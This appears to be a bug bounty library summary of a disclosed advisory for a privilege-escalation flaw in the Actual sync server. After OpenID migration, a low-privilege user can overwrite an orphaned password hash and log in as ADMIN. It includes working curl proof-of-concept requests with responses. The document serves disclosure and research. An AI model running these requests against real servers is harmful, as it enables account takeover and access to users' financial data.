# Actual has Privilege Escalation via 'change-password' Endpoint on OpenID-Migrated Servers

Missing authz on /account/change-password plus orphaned password row and client-controlled loginMethod let any BASIC user become ADMIN on OpenID-migrated Actual servers.

- Payout: Research
- Severity: high
- Program: Actual
- Found by: Rex50527
- Disclosed: 2026-04-23
- CVE: CVE-2026-33318
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-prp4-2f49-fcgp
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-prp4-2f49-fcgp
- Tags: area:web domain:oss domain:web impact:ato impact:privesc kind:research platform:ghsa sev:high tech:nodejs technique:chained vuln:access-control vuln:account-takeover vuln:auth-bypass vuln:privilege-escalation

**Target:** Sync server HTTP API (/account/change-password, /account/login)
**Root cause:** POST /account/change-password only validates session existence, not role or auth method, and changePassword() overwrites the hash without current-password confirmation; the password auth row persists inactive after OpenID migration and getLoginMethod() trusts client-supplied loginMethod without checking active status.
**Steps:**
1. Obtain any valid session token (BASIC role) on an OpenID-migrated server.
2. `curl -X POST https://<host>/account/change-password -H 'X-Actual-Token: <token>' -d '{"password": "attacker123"}'` overwrites the orphaned password hash.
3. `curl -X POST https://<host>/account/login -d '{"loginMethod": "password", "password": "attacker123"}'` returns an ADMIN token for user_name=''.
4. Verify with `/account/validate` returning permission ADMIN.
**How found:** Code review of the account routes and auth migration logic: noticed change-password lacked isAdmin(), that enableOpenID() sets active=0 but never deletes the password row, and that getLoginMethod() honors client-supplied loginMethod without checking active.
**Exploitation:** Attacker with any authenticated OpenID session overwrites the inactive password row's hash, then forces password login via client-supplied loginMethod to receive the ADMIN session of the anonymous '' account created by the multiuser migration, gaining full control over users, budget files and server config.
**Escalation:** Chains three individually harmless weaknesses: missing authz on change-password, orphaned inactive password row, and client-controlled loginMethod selection.
**Insight:** On apps that migrate auth providers, check whether the old credential row is deleted or merely deactivated, and whether any endpoint still writes to it; also test whether login method selection is client-controlled rather than derived from active DB state.

## Proof of concept (copied exactly from the original report)

**curl POST change-password overwrites hash**

```
curl -s -X POST https://<host>/account/change-password \
  -H "Content-Type: application/json" \
  -H "X-Actual-Token: <any_valid_session_token>" \
  -d '{"password": "attacker123"}'
# → {"status":"ok","data":{}}
```

**curl login with loginMethod password gets admin token**

```
curl -s -X POST https://<host>/account/login \
  -H "Content-Type: application/json" \
  -d '{"loginMethod": "password", "password": "attacker123"}'
# → {"status":"ok","data":{"token":"<admin_token>"}}
```

**curl validate confirms ADMIN permission**

```
curl -s https://<host>/account/validate \
  -H "X-Actual-Token: <admin_token>"
# → {"status":"ok","data":{"permission":"ADMIN", ...}}
```

